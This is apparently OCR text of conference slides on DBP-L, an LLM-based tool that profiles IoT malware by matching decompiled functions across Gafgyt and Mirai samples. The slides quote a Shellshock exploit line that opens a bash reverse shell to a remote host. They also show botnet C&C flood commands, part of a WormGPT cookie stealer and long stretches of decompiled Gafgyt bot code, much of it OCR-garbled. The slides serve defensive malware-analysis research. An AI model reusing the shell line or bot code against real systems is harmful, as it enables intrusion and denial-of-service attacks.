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1 Background | Motivation

loT-based attacks from North Korea against South Korea are steadily increasing. =
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O1 Background | loT Attack’s Timeline

"4 Shellshock exploitation;

Gafgyt first seen

Kaspersky observed attackers exploiting
Shellshock (CVE-2014-6271) to install
Backdoor.Linux.Gafgyt that scans
Telnet and launches UDP/TCP floods;
Gafgyt was first seen in 2014.

Shortly after disclosure of the Bash bug called " " we saw the first attempts by criminals
to take advantage of this widespread vulnerability also known as

The most recent attempts we see to gain control of webservers just create a new instance of bash
and redirect it to a remote server listening on a specific TCP port. This is also known as a reverse-
connect-shell. Here's an example of how this attack appears in a webserver logfile

94.xx.xx.131 - - [26/Sep/2014:03:49:43 +0000] "GET / HTTP/1.0" 200 1671
) { ; /bin/bash -c 'bash -i >& /dev/tcp/195.xx.xx.101/3333 0>&1'"

The attacker listens on IP address 795.xx.xx.707on TCP port 3333, while the attack’s origin is the IP
address 94.xx.xx.131. To gain control of a server with this method. no external binaries are involved.

In another ongoing attack the criminals are using a specially crafted HTTP-request to exploit the
Bash vulnerability in order to install a Linux-backdoor on the victim’s server. We're detecting the
malware and its variants as Backdoor.Linux.Gafgyt.

The binary contains two hardcoded IP addresses. The first one is only used to notify the criminals
about a new succesful infection. The second IP address is used as a command-and-control server

(C&C) to communicate directly with the malware running on the infected webserver.

The following picture shows an example on how this communication can look like:

BUILD X86

PONG

PING

PONG

!* SCANNER ON

PING

PONG

PING

PONG

!* SCANNER ON

PING

PONG

PONG

!* UDP 69.xx.xx.67 80 56 32 350 10
UDP Flooding 69.xx.xx.67:80 for 56 seconds.
PING

!* KILLATTK

!* UDP 178.xx.xx.241 80 50 32 350 10
PING

PONG

None Killed.

PONG

UDP Flooding 178.xx.xx.241:80 for 50 seconds.
!* SCANNER ON
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"16 Akamai Mirai DDoS

on KrebsOnSecurity

Akamai confirms the Sept 2016
attack asits largest mitigated event,
driven by ~24,000 Mirai-infected
loT devices and peaking up to 623 Gbps.

Internet infrastructure giant Akamai last week released a special State of the Internet report. Normally,
the quarterly accounting of noteworthy changes in distributed denial-of-service (DDoS) attacks doesn't
delve into attacks on specific customers. But this latest Akamai report makes an exception in
describing in great detail the record-sized n September, the largest
such assault it has ever mitigated

“The attacks made international headlines and were also covered in depth by Brian Krebs himself,
Akamai said in its report, explaining one reason for the exception. “The same data we've shared here was
made available to Krebs for his own reporting and we received permission to name him and his site in
this report. Brian Krebs is a security blogger and reporter who does in-depth research and analysis of
cybercrime throughout the world, with a recent emphasis on DDoS. His reporting exposed a stressor site
> and the security firm onnect Inc., which made him the target of a series of large DDoS
attacks starting September 15, 2016."

DDoS Attacks on Krebs on Security
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Akamai said so-called s that sell attacks capable of knocking
Web sites offline continue to account for a large portion of the attack traffic in mega attacks. According

to Akamai, most of the traffic from those mega attacks in Q3 2016 were thanks to Mirai — the no n-
family that was used to coordinate the attack

ember and a

source m

22 DDos attacks targeting
Ukraine and Russia

Mirai- and Gafgyt-based IoT botnets

executed DDoS attacks on
Ukrainian government

DDoS attacks against Ukraine

The chart below shows the trend of attacks we have seen against some of the government websites.

TMELIE

DDoS attacks against Russia

Below are some of the attack we see against Russian websites. Note here only a small number of victims are

displayed, as there are just way too many targets the diagram won't be readable if we show all of them.

125 Emerging loT wiper “Kaden”

and a new LOLFME variant

Vedere Labs reports a nascent Kaden
botnet that blends Mirai/Gafgyt-style code
with a dormant wipe routine, plus a
LOLFME variant that wipes devices when
C2isunreachable.

In conclusion, it appears that the author of this botnet acquired a version of the ‘rebirth’ bot source code, copy-
pasted and renamed some commands and added their'KADENBOTNET' signature to ensure this string appears in
the logs of their targets. Additionally, they were in the process of incorporating the wiping capability used by Silex.

Kaden Botnet: Who Is Behind It?

In addition to the "KADENBOTNET" string that led us to identify this new botnet, we discovered two other related
strings in the samples: "Kaden1337" and "KaDeNTheBoTNETHeGOD". Using these strings as seeds for an
investigation, we sought to determine the identity or significance of ‘Kaden'.

On YouTube, we found a profile named ‘@Kaden 1227 that uploaded four videos between 2018 and 2020, all
related to botnets or similar activities, as shown below.

aden

amK

Home  Videos Playlists

o
seany
I O wie

Amplification Stress Testing Proof | qBot Botnet Spots! Hit me up!
ezSlap.com K

New Discord Server (2019) Join'to How to scanto a Botnet
hangout/or gethelp

The most recent two videos advertised ‘spots' (compromised devices) on the Okami botnet and a stresser service
called ezslap(.Jcom facilitates launching DDoS attacks. On the video about the stresser service, the username
‘KadenTehGod' is also visible.
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01 Background | Why Always loT?

Expansion of IoT/Edge Devices 2 Rise of LLM-Automated Attacks Limited Analysis Capacity

Rising IoT connections » more Linux-based exposure LLM tools (e.g., WormGPT) enable malware As |loT devices proliferate, attack volume continues
Low device capacity » weak security adoption auto-generation to climb. However, analysis capacity remains
Result: ELF malware surge, fast mutation, hard real- Variants created within hours comparatively low, creating a widening gap.
time defense Defense speed falls behind » worsened security gaps

Global loT Connected Devices (2015-2025)
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loT and Attacks vs Analyst Capacity (2015-2025)

70 ASE/\N /N |0 o [ 8] S /N .
\/ \/ Absolute increase (0-100)
® loT devices

60 Welcome to the WormGPT. The biggest enemy of the well-known ChatGPT!
= & Attacks
s S ® Analyst capacity
=50 Write me a python malware that grabs computer's username, external ip address, and google chrome cookies, zi \F
) nd send to a discord webhook o
0 o 60
L =
g 40 g
o s o
- import os =
E import socket Q :
830 inport json g Attacks exceeding
£ inport zipfile § analyst capacity
E import requests <

20

# Get the current user's username
username = 0s.getlogin()

0

# Get the computer's external IP address

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))

ip = s.getsockname()[8

2015 2016 2017 2018 2019 2020 2021 2022 2023 2026
Year

2015 2016 2017 2018 2019 2020 2021 2022 2023 2024 2025
Year s.close()

SANDS Lab”



O1 Background | Need for Automation Technology

Cybersecurity specialists can manually analyze threats and generate high-quality reports.
However, when dealing with a large quantity of threats, they cannot work efficiently due to the time and cost
involved. Clearly, an automatic system is needed to analyze and respond to all threats.

High-Quality Tl Report

Y ERIE]
Analysis

A lots of Threats

Automatic Threat Profiling is required

SANDS Lab”
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02 ' Deep Binary Profiler with LLM | What is DBP-L?

| DBP-L has the capabilities to search, track, and distinguish functions

Tracking where
measure how similar similar functions
two different C codes have been usedin
are. past threats.

Identifying It's possible to

meaningful functions
and removing noisy
functions.

Deep Binary
Profiler
with LLM

SANDS Lab”

2025

BERLIN

Distinguishing between
new and variant

Distinguishing between

a new threat and a variant
threat based on the reuse
of functions.

Assigning
label information

Inheriting analysis
information
based on labels of

identical
functions from the past.

Measuring
the reuse rate

Analyzing how many
functions have been
reused in past threats to
measure the degree of
variation.

Presenting C
code as evidence

Presenting C code
and usage history as
evidence.




2 Deep Binary Profiler with LLM | What is DBP-L?

DBP-L is a technology based on Code Similarity. It searches for identical past files / functions
In a database, tracking function reuse.

void main(void)

byte *pbvar1;

undefineds wars;

char *pcvar7;

size_t svars;

byte *pbvarg;

byte local_16c8 [4096];
byte *local_c8 [18];
int local 74;

__pid_t local_70;
__pid_t local_6c;

int local 68;

uint local_64;

byte *local_6

void *local_s8;
uint local_4c;

int local 1c;

tVars = tine((time_t *)6x8);
war2 = getpid();
srandom(uVar2 * (uint)tvars)
tVars = tine((time_t *)6x8);
war2 = getpid();
init_rand(war2 ~ (uint)tvars);

get

local 76 = fork();

if (local 78 1= 8) {
waitpid(local 76,&local 74,0);
exit(e);
return;

if ((true) 88 (local 6c = fork(), local 6c != 0)) {
exit(e);

return;

signal(oxd, (__sighandler_t)ex1);
do {

while (iVar3 = initConnection(), ivar3 1= @) {
sleep(s);

War6 = defarchs();
pevar? = inet_ntoa(ourIp);
sockprintf(ceoSocket,

“"\x1b[1;31m[ \x1b[1;36n%s\x1b[1;31m] \x1b[1;31mJ0ined RebirthReborn As [\x1b[1;37mks\x1b[1;31n]"
Lpevar7, uar6) ;

local 68 = 0;
local 64 = 0;
while (local 68

recuLine(ceoSocket, local_10c8,0x1000), local 68 = -1) {
for (local_64

©; (ulong) (long) (int)local 64 < numpids; local 64 = local 64 + 1) {

_Vara = uaitpid(*(__pid_t *)((long)(int)local 64 * 4 + (long)pids),(int *)exe,1);
war2 = local 64;

i (0 < vara) {

SANDS Lab”

Search
Identical
Function

File Database

List Identical
Functions and
analysis results

Function Database

void main(void)

byte *pbvari;
uint war2;
int ivars;
__pid_t _vara;

time_t tVars;
undefineds uvare;
undefineds wvar7;
undefineds uvars;
char *pcvarg;
size_t svarie;
byte *pbvari1;
byte local_10d8 [4096];
byte *local_ds [1e
int local_8a;
__pid_t local_se;
__pid_t local_7c;
int local_78;

uint local_7a;

int local_2c;

tvars = time((time_t *)oxe);

uvar2 = getpid();

srandom(uVar2 ~ (uint)tvars);
time((time_t *)oxe);

init_rand(uvar2 ~ (uint)tvars]
getourIp();
local 86 = fork();
if (local 8e != @) {
waitpid(local_8e,&local_84,¢
exit(e);
return;
¥
if ((true) & (local_7c = for}
exit(e);
return;
}
setsid();
chdir("/");
signal(exd, (__sighandler_t)ex
do {
while (ivar3 = initConnectit
sleep(s
}
waré = defpkgs();
war? = defopsys();
war8 = defarchs();
pcvare = inet_ntoa(ourlP);
sockprintf (Demonicsock,
"\x1b[@; 36mDemon)
,pcvarg, uvars, uvi
local 78 = o;
local_74 = o

SHA256

Tag

Backdoor

void main(void)

{
byte *pbvari;
uint war2;
int ivar3;
__pid_t _vara;
time_t tvars;
undefineds uvars;
char *pcvar7;
size_t svars;
byte *pbvar;
byte local_10c8 [4096];
byte *local_c8 [10];
int local 7a;
__pid_t local_7e;
_pid_t local_6c;
int local_68;
uint local_64;
byte *local_60;
void *local_s8;
uint local_ac;
byte *local_48;
byte *local_40;
byte *local_38;
int local_2c;
char *local_28;
int local ic;

tvars = time((time_t *)oxe);
war2 = getpid();
srandom(uvar2 ~ (uint)tvars);
tvars = time((time_t *)oxe);
war2 = getpid();
init_rand(uvar2 ~ (uint)tvars);
getourTP();
local 76 = fork();
if (local 76 1= @) {
waitpid(local_7e,&local_74,6);
exit(e);
return

if ((true) & (local_6c = fork(),
exit(e);
return;
setsid();
chdir("/");
signal(exd, (__sighandler_t)ex1);
do {
while (ivar3 = initConnection(),
sleep(5);

}

waré = defarchs();
pcvar? = inet_ntoa(ourlP);
sockprintf (Rebirthsocket,

local_6¢c != ) {

ivar3 1= @) {

"\x1b[1;31m[\x1b[1;36m%s\x1b[1;31m] \x1b[1;

.pcVar7, uvars);
local_68
local_64 =

while (local 68 = recvline(Rebirthsocket,local 16c8,6x
(ulong) (long) (int)local_64 < nump:

for (local_64 = ©;

Vara = waitpid(*(_pid_t *)((long)(int)local_64 *

war2 = local_sa;
if (6 < _vara) {
uhile

void main(void)

byte bvari;
char cvar2;
uint wvar3;

undefineds uvarie;

char *pcvaril;

byte *pbvar12;

ulong uvar13;

byte abstack_1edo [4097];

byte *local_d8 [10];

int local_84;

__pid_t local_se;

__pid_t local_7c;

int local_78;

uint local _74;

byte *local_7;

void *local_68;

uint local 5¢;
*local_s8;
*local_se;
*local_as;

int local_3c;

char *local_38;

int local_2c;

tvare = time((time_t *)exe);
war3 = getpid();
srandom(uvar3 ~ (uint)tvars);
tvaré = time((time_t *)exe);
war3
init_rand(war3 ~ (uint)tvaré);
getourIp();
local 80 = fork();
if (local e I= @) {
waitpid(local_8@,&local_84,0);
exit(e);
return;

if ((true) && (local_7c = fork(), local_7c
exit(e);
return;

setsid();
chdir("/");
signal(exd,(__sighandler_t)ex1);
do {
while (iVar4 = initConnection(), ivard
sleep(s);
3
uvar? = getos();
uvarg = getarch();
uvar9 = getBuildz();
uvar1e = getportz();
pcvaril = inet_ntoa(ourIP);
sockprintf (mainCommSock, " [Shelling]-->[%s]-->[%s]-->[%s]-->[%s]-->[%s]"

pcvaril,uvarie,uvarg,
uvarg, uvar7) ;

1A8B88D6C445B28D59A63A45DB2AFA89ES527475B8910905C5DDCFOFE4A33A7S5EA

Function Name Main (entry)

Gafgyt, Linux



02 Deep Binary Profiler with LLM | Our Approach
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Raw C Code Preprocessing & LLM Model Embedding Embedding

Tokenization Model Vector

void nain(void)

byte *pbvart;

i : Normal Function

[ ]
i A : O 5
tine_t tvars; " N w. o w "
undefineds wvars; function_name": "srandom", °
char *pevar;

"function_body": "void srandom(uint __seed) {\n\tiv

size t svarg; - H

e uVar2 = getpld() "function_content”: "{\n\n\tiVari = lock;\n\tif (*(
yte local_10c8 [4096]; )

byte *local_cg [10]; "label": o,

int local_74; . P,

_pld_t local 70; "reason": "The function initializes a random number

pidt local 6c;

int local6s; enerator using the srandom_r function.
o T getOurlP() ¢ ¢ - O 1 .2
yte *locsl_s0;

void *local_58;
uint local_ac;
byte *local_48;
byte *local_48;
byte *local_38;

s while initConnection() Malware Function

it Jocal 155
 tine((tine_t 4190); function_name": "cncinput”, °

(oot tvars); "function_body": "void cncinput(int param_1,

W
sockprlntf ceoSocket, "function_content”: "{\n\n\t__pid_t _var7;\n o o
init_rand(war2 » (uint)tvars); , B Ve
getourt "label": 1, n
local 7@ = fork(); [ ]
e o aest 70 reason”: "The function parses a :
exit(e); 3 s
H H string containing network
: -Joined RebirthReobrn & g
parameters (UDP, TCP, HEX, etc.)

exit(e);

! [ ]
[ ]
) -I 5
.
System Function .
- CnCInput (|Oca| _2C, "function_name": "socket”,

st Rsu1310) bl rtotned et A V(378135 “function_body": "int socket(int __domain,int _type,i

Joca s - o "function_content”: "{\n\n\tsyscall();\n\tivar2 = @x2¢

local 64 = &; “label": 2, °
while (local 68 = recvLine(ceoSocket,local _18¢8,0x1000), local 68 != -1) {

for (local_64 = 0; (ulong) (long) (int)local 64 < nurpids; local 64 = local 64 + 1) { return "reason”: "The function socket is a direct system call

to the socket system call, as indicated by
its name and the syscall() function call. T

i (0 < _vara) (

SANDS Lab”



02 Deep Binary Profiler wit

Raw C Code

void nain(void)

{
uint war2;
o
time_t tvars;
g uVar2
e —
byte *local_c8 [10];
int local 74;
int local_68;
e
void *local_:
e
byte *local ¢
byte *local :

while

int local 1c;

arS = tine((tine_t *)ex0);
War2 - getpid();

srandon(uVar2 ~ (uint)tvars);
ars - tine((tine_t *)x@);

sockprintf

{
,&local_74,0);
exit(0);

--Joined

i ((true) 8& (local_6c = fork(), local éc 1= 8)) {

.
b (13 = fnitcomection), tar3 1= ) {
eer);
’ .
ars = defarchs(;
ek inet noa(our®); cncinput
sockprintf(ceoSocket,
VB 1a{ V1338685 b{ 1;310] L[ 31aJoned Rebirtiebor As [\Ib{LiSTAS\KL;310)
el arey;

while (local 68 = reculine(ceoSocket, local 18c8, 0x1000), local 68 != -1) {
for (local_64 = 6; (ulong) (long) (int)local 64 < numpids; Tocal_64 = local 64 + 1) { t
“Nard - 11510(*(_o16.t {(1ong) () Toal_ 64 » 4 + (Lor?pies, (nk +)00,1)3 return
war2 - local64;
1F (0 ¢ vara)

SANDS Lab”
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Preprocessing &
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getpid()

initConnection()

ceoSocket,

RebirthReobrn
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Normal Function
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02 Deep Binary Profiler with LLM | Why do we use LLM

Threat profiling often relies on the personal experiential knowledge of analysts, which can make it challenging to

ensure objectivity.

Analysts A

This threat is a false positive. It may appear to be a
cyber attack, but it's not actually one.

\ 7

Analysts B

Collecting
Threats

This is malware created by Lazarus Threat Actor in North Korea,
with a function implemented using T1082 technique, and it
appears to be a Trojan malware.

E

Analysts C

Attributed to APT17, there is a significant presence of functions
implementing . Furthermore, with its
use of T1497 for virtual environment detection, it appears to be

an advanced Trojan malware likely designed to evade dynamic
analysis

SANDS Lab”



02 Deep Binary Profiler with LLM | Why do we use LLM

Human analysis can be inconsistent due to factors like individual skill variance and emotions.
In contrast, automating the process with an LLM can produce consistent results.

AUTO-
BUILDING

SANDS Lab” 16
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2 Deep Binary Profiler with LLM | Why do we need Embedding

To calculate the similarity between two different raw C codes, they should be represented as numerical vectors
rather than text.

void main(void) ©id main(void)

{ {
byte =pbvari; byte *pbvari;
uint war2; uint uvar:

s St ey
char *local_28; fha"]"lc;ali?s;
int local_ic; int local_1c;
time((time_t *)oxe); :z::; : é;:i;é?l')ﬂi,t yexe);
T L
time((time_t *)exe); vara gfl‘u«"(‘ T . )
uvar = getpid(); ) init_rand(uvar2 ~ (uint)tvars);
feps o waitpid(local_7e,&local_74,0);
waitpid(local_7@,&local_74,0); oS

i ) if ((true) && (local_6c = fork(), local_6c
if ((true) & (local_6c = fork(), local 6c != ©)) { erue)

exit(e); return;

return;

chdir("/

signal(exd, (__sighandler_t)ex1);

do {

while (ivar3 = initConnection(), ivar3
sleep(s);

do {
while (ivar3 = initConnection(), ivar3
sleep(5);

wvare = defarchs();

pcvar? - inet_ntoa(ourIP);

sockprintf(RebirthSocket,
"\x1b[1;31m[\x1b[1;36m¥s\x1b[1;31m] \x1b[1;31mJoined Rebirth As [\x1b[1;37m¥s\x1b[1;31m]"
.pcVar7,uvare);

wvare = defarchs();

pcvar7 = inet_ntoa(ourIP);

sockprintf(ceoSocket,
"\x1b[1;31m[\x1b[1;36m%s\x1b[1;31m] \x1b[1;31mJoined RebirthReborn As [\x1b[1;37m¥s\x1b[1;31m]"
.pcvar7,uvare) ;

local 68 = o

local 64 = o

while (local 68 = recvline(ceoSocket,local 10c8,0x1000), local 68 l= -1) {

for (local_64 = ©; (ulong)(long)(int)local_64 < numpids; local_64 = local 64 + 1)
_Vara = waitpid(*(__pid_t *)((long)(int)local_64 * 4 + (long)pids),(int *)exe,1);

local_s4;

°;
while (local_68 ecvLine(RebirthSocket,local_10c8,0x1000), local 68 != -1) {
for (local_é64 @; (ulong)(long)(int)local_64 < numpids; local_64 local_64 + 1) {
_Vara = uaitpid(*(__pid_t *)((long)(int)local_64 * 4 + (long)pids),(int *)oxe,1);
uvarz2
if (e < L\
uhile

It's not numerical, so similarity calculation is not possible

SANDS Lab”



02 Deep Binary Profiler with LLM | Why do we need Embedding

To obtain numerical vectors representing the meaning of C code,
embedding Al models are used, enabling similarity calculations.

Similarity Calculation

Vector A 051203-+-151.0

X

Vector A 0.2 1.1 0114 1.1

CCodeA CCodeB Embedding Model

99% Similarity Similar C codes are transformed Into similar

vector representations, resulting in high similarity
Identical Function measurements.
- 4

SANDS Lab” 19




02 Deep Binary Profiler with LLM | How It Works

Function Vectorization

C Function codes Function Vectors

Normal Functions Mal Func Vector 1

GHIDRA

_ Malicious Functions Q Mal Func Vector 2 T
Decompiler C LLM
. (Ghidra) Code model Embedding
Ta rget Flle System Functions model Mal Func Vector N

\ 7

Searching Function Reuse
Label info. Searching Result [@j Function-Hash

\ 7]

backd (7
ackdoor File Info — "@J‘I
" S I _— Covereereenenennenencienseene T Gonenrnrnens Function-Hash L— -------------------------
L 3 linux -_—
N < C Function Candidate Set Database
gafgyt ‘ code With the same Function-Hash

SANDS Lab” 20
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02 Deep Binary Profiler with LLM | How It Works

Function Vectorization

C Function codes Function Vectors

Normal Functions Mal Func Vector 1

GHIDRA

_ Malicious Functions Q Mal Func Vector 2 T
Decompiler C LLM
. (Ghidra) Code model Embedding
Ta rget Flle System Functions model Mal Func Vector N

\, 7

Searching Function Reuse

i i Y .
Label info. Searching Result L@J Function-Hash
\ N1
backdoor (o
® File Info - L@_I
. - . 1
S LTI TR - S I ! Fu nctlon_Hash o e e e

L 3 linux -

N P C Function Candidate Set Database
gafgyt : code With the same Function-Hash

SANDS Lab” 21
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02 ' Deep Binary Profiler with LLM | What is Function-Hash (F-Hash)

Function-Hash: fixed-length ID preserving function semantics for fast exact and near-duplicate search.
To reduce the search space, we utilize an embedding vector and apply vector quantization technique.

( )
Original Vectors Codebook Vectors Function-Hash

N .
o .

- .
o -

Similar Vector Set

y N

Vv
Different Vector > B ( OAAFF9 >

Quantization Encoding

Each Functions has a numerical vector and an Function-Hash string created
from the vector.

SANDS Lab” 2



02 Deep Binary Profiler with LLM | Without F-Hash

We calculate the similarity between each pair of functions to determine whether they are the same or
different. As the size of the database grows, the computational cost increases, resulting in slower search times.

New Function Vector 1

Function Vector 2 New Function Vector 2

Function Vector 3 New Function Vector 3

E Function Vector N
N X M operations are required to find the identical function set

SANDS Lab” 23
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02 Deep Binary Profiler with LLM | Why do we use F-Hash

| In a vector space, comparing two vectors that are far from each other is not efficient because they are not similar
at all. To accelerate the search speed, the search space must be reduced.

Reduce
Search
Space

. M linx.gafgyt loeoaiovt
L g
"kys 3

% All Data Set e Candidate Data Set

SANDS Lab” 24




02 Deep Binary Profiler with LLM | Why do we use F-Hash

Computation time increases linearly depends on the database size.
DBP-L can't be applied in practical scenario without techniques to accelerate processing time.
By using F-Hash, we can maintain the time complexity at a constant level.

Similarity Computation Time

@ Without F-Hash (

@ With F-hash
S How much faster is the
E computing time
u‘"j with F-Hash?

10,000 20,000 30,000 40,000 50,000 60,000 70,000 80,000 N\
No. of function in Database

SANDS Lab” —— i
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02 Deep Binary Profiler with LLM | Supporting Materials for Analysis

Prediction Summary : backdoor.linux.gafgyt(Gafgyt)

24 23t (SHA256: 1A8B88D6C445B28D59A63A45DB2AF489E527475B8910905C5DDCFIFE433AT5EA)

Shah": “FEELSBCBACASO2FBOSEDS0AATIERAB 00051 PSIS02LEE
conf idence.score” 97,02

EC30AMMASF 951 COTF FCB3ECBETBL0CS43EC712
et 9.3

RS C ST

SANDS Lab”

"similer_files":

[

“sha2b6": "C12F36006F342747077BF 09ESFFISEFEFACI712BA9D4 1 3F45160ABCAD4F2351 ",
“conf idence_score™: 100.0

“sha2hb": "FBECIBZEBACAI22FB2EE0924A935048 10002581 750902CC844625C78FEDTECST",
“conf idence_score”: 97.02

“sha2hb”: "C3COB4ECI04AAARFISTCOTF 1FCE1ECIBCTBID0CE438C712689FSETD4DFE203",
“conf idence_score”: 96.34

"sha2hb”: "B4903AACIBA2F702F 29AB27C653C0F 239451601 ABAEBSOS64BEDAG14FBF1F33E",
“conf idence_score”: 95.83

“sha2b6": "9029C1EADCEFD328605599B9B034 76 7F 057C49314D008E20255080C852806290",
“conf idence_score™: 93.29

backdoor.linux.gafgyt

| S
backdoor.linux.gafgyt—

—®4
backdoor.lin/ix.gafgyt In Uﬁm\n“ I
(backdoor.linux.gafgyt.Gafgy ——>®trojan.linux.agent

hackdoorlinux.mirai  ackdoor.linux.mirai

afgyt

AN

backdooM;afgyl

\

P —
backdoor.linux.gafgytoackdoor.linux.gafgyt

\
|

| ‘

‘ backdoor.linux.gafgyt

backdoor.linux.gafgyt

26
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02 Deep Binary Profiler with LLM | Supporting Materials for Analysis

SHA256: 5405B4E83E100913638834D3ECBF4490F 748588851B8610844D41AC0551C2E7A

-- Detection Names --
backdoor . | inux.gafgyt

Parent: 108756 E /udpfiood

Date: 2 * parent_f_hash=8BACBICCT5TEBAFA6T9956FBECH T 5F22FEBIFFBEBCCBAB25A41221744CI8AB0BE = B
child_f_hash=8ACBICCT5 TEBAFABTI956F BECE 15F22F FBOFFBEBCCBABZ5A1221744CI8AB08S

Parent: cpcinput = cncinput
file-le

s ing distance = 0, similarity_score = 1
— cpi Compare function bodies |

+ OHE8 « parent_f_hash=8ACBICCF5TEB5FABAG956FBECE 15F22BEBIFFBEBECOABR TAA 1A 1744498A61C8 =

e ;h?T;e:chi 1d_f_hash=8ACBICCF57E85F AB49956F8ECH 1 5F22BEBIFFBIBECOAB2 7A41A21 F44CIBAGTCS

« f_has Iis‘[F;rh“phex = httphex
_hag i = i distance = 0.13774512005051842. similarify_score = 1

as . .
S ~ Compare _function bodies
_hils Compare

05S1C2€7A / udpflood

child:
Date: 2021-09-06T03:56:232

aran5.int parans, int parent.in Void ucp 100(unde inedS paren_{, int peram_2, int peranLs, int paranA, int parens, int parans, int pereny.int &

* parent_f_hash=BACBICC757EB5FA671956F0FCE15F22BEBIFFBEFECBAB27TA41820744098A61CA =

child_f_hash=8AC89CC757E85FA4671906FO0FCE 15F22BEBIFFBCFECBAB27A41A20f 44D38AG0CA
child_f
udpf100d = udpf100d

A e oohediioedeonbodding, distance = 0.5532491274661023, sinilarit}_score = 0.9556

thash_d . .
Compare function bodies

Compare ( Q) Iocal 50 + 1): Iartt 1= 0: Vart = Nartt +-1) { pe - e 0 s o

 parent_f_hash=BACB1EC757F85F4649956F8ECE14F23BEBIFFBBBECOAB27A41820744098A61CC =
child_f_hash=8AC81EC757F85F4649956FBECG 14F23BEBSFFBBBECOAB27A41A20f44098A61CC
make|PPacket = makelPPacket

i ing distance = 0, similarity_score = 1
Compare function bodies |

{1ena)oca180.0.81c081_88,0x1) Iorg)local_50.0,81cca1 65,010
* parent_f_hash=BACBIEE757E84F 4669956F8E8616F20BEBIFFBCBECOAB27A41220744098A61C0 =
child_f_hash=8AC89EE757E84F4669956FBEBG 16F20BEBIFFBCBECOAB27A41220f44D98A61C0

s checksum_tcp_udp = checksum_tcp_udp

H H H s H " local_s0 = local_e + o 5
= distance = 0, similarity_score = 1 ) ol m lemln = i
Compare function bodies | ( 7
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03 Experiment | New sample of Gafgyt Family

Our real-time threat detection dashboard displayed an alert for analysis.

Sample was new and not in the DBP-L database, we used DBP-L to trace and verify it, assessing the technique’s
validity.

.] File Hash List l X

1a8b88d6c445b28d59a63a45db2af489e527475b891 Backdoor
0905¢c5ddcf9fed33a75ea

mu‘.- 2025-01-26 20:19:50 UTC ‘ DBP' L Data base

¥, Download Sample ® Preview Analysis (Z Full Report

Al Threat Evaluation & Response Prioritization

Threat Level Critical Propagation Potential

v Automated Response Priorities

Immediate Containment
Network Isolation
@ Forensic Analysis

Recent Al Evaluations (Last 10 minutes)

7f3a2bic .

9edd5c2a ..




03 Experiment | Analysis Results - backdoor.linux.gafgyt(Gafgyt)

The analysis of DPB-L confirmed that it belongs to the Gafgyt malware family.
Further investigation is required through lineage graph analysis.

Results (SHA256: 1A8B88D6C445B28D59A63A45DB2AF489E527475B8910905C5DDCFIFE433A75EA)

Analysis Summary : backdoor.linux.gafgyt(Gafgyt)

C i ==m) Behavior: Backdoor Lineage Graph

"Behaviour_probability": {
"backdoor ": 99.45,

) o mmm)  Target Platform : Linux

"Platform_probability": {
“linux": 100.0

N

"family_probability": {
"gafgyt": 84.79,
"tsunami": 12.21,
"mirai": 2.22,
"agent": 0.55,

i 0.2 Family : Gafgyt 84.79%

"actor_probability": {
"Gafgyt": 84.79,
"Tsunami": 12.21,
"Mirai": 1.44,
"Agent": 1.33,
"Katien": 0.22

}

"(}onfidence”i 99.4
“similer_files": [
"sha256": "C12F36D08F3427A7077BFO9ESFFI55FEFACIT 12BA9D4 13F45160A63CA04F2351",

"confidence_score": 100.0

"sha256": "FBECIB25BACA922FB25E0924A9358A8 1000258 1750902CC844625C78FED7EC37 ",
"confidence_score": 97.02

::igi??g;;cgfggg?iﬁ?agg%ﬁSF95 1C07F 1FC691ECIB6C7BIDDCHA38C7 12689F5E7D4D4F8203" - Li n ea g e a na Iys iS

"sha256": "549D3AAC3BA2F702F29AB27C653C0F239A5 160 1ABAEBS0564BEDAG 14F8F 1F33E" ta rgets
"confidence_score": 95.83

"sha256": "9029C1EAOCEFD328605599B9B034767F057C49314D008E202550800852886290" ,
"confidence_score": 93.29

SANDS Lab” 30



SHAZ56: C12F36D08F 34274707 7BFOIESFFOBEFEFACIT12BASDA1 3F45160463CA04F2351

—— Detection MNames —
backdoor. [ inux.gafgyt

Date: 2025-01-14713:24:497

Parent: 1A8B88D6CA45B28D094634400B2AF 489ED2

file-level fm_hash Score with parent: 100.0 Flle Slmllarlty Score' 99%

—— Children & scores —-
+ FBECIBLLBACAI22FB2EENI24493084810002581 7H0902CCE44625CT8FEDTEC3T == file-level fm_hash Score: 00,99

- Functions —-

+ f_hash=8AC8ICCFATEBAFA641956F8EA61DF22BESIFFBCFCCEABETAL1 221 744D9BAB0CE => strchr

¢ f_hash=8AC8IECTHTFBAFA679IID6FEESE TF2OBESIFFBCFECBABETAL1 230744DIBAG connect T imeout
f_hash=8EC8SECTETFBAFA67I957F8F861 7722BES1 FFBEBCCOAARDAL1 221744D9846184 inet ntoa r

1
1
1 [ ]
f_hash=8AC61ECTBTFCAF 4679D56F 8F0657723BE8 1 FFACBFCBAAPEA1 AS0744C98AB1CE => sockprintf Start Point: ‘x86’
1
1
1

f_hash=8AC89CCES 7EB5F 4659906F 8F 46 15F22FEBIFFBCAECBAB2TA41220744D9846088 => mal [oc
f_hash=8ACB9ECTH7FBEF46719D6F3F0615F22BE89FFBCFCCBAACTAL
f_hash=8EC81CCTH3ECAF4673952F 8FCE50720BESIFFBCFODBAALTAL

2
0074400846008 => abort Input_file (backdoor.linux.gafgyt.gafgyt)
220744C9846080 => shrk
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03 ' Experiment | Code similarity across functions

Close

Parent: C1 7AT0° 9712BA9D413F45160A63CA04F2351 / main
SHAD56: FBECOB2EBACA922FB25E0924A9358A8 10DD2581750902CC844625C78FEDTECST Date: 2025-01-14T13:24:482

— Detootion Nanes — Daemonization patterns in function prologues are consistent

backdoor . I inux.gafgyt

void main(vaid) { 3 | void main(void) { R 1
_pid_t Verd; _pid_t Vard;
size_t sVarB: size_t sVarG;
_pid_t local 70; _pid_t local 70;

Parent: C12F36D08F3427A7077BF09ESFFOB5FEFACY7 12BASD4 13F45160A63CA04F2351 _pid_t local 6c; _pid_t local be;

ile— T . tVarS = time((time_t «)0x0); tVarS = time((time_t «)0x0);
file-level fm_hash Score with parent: 0.99 ar2 - oetaid(); ot = gotaid0):

srandom(uVar2 * (uint)t¥ars); srandom(uVar2 ~ (uint)tYars);

—— Children & scores — tVarS = time((time_t «)0x0); tVarS = time((time_t «)0x0);
uVar2 = getpid(); War2 = getpid():

+ C3CDB46C3DAAAASF51007F 1FCE91ECOBC7TBIDDC5438C7 12689F5E7DADAFE2D3 => file-level fm_hash Score: 0.99 nit_rand(Var? - (uint)tvars); nit_rand(ar? - (uint) VarS);
. . . . getOurIP(); getOur PO
Function-level similarity based on F-Hash
if (local 70 1= 0) { if (local 70 1= 0) {
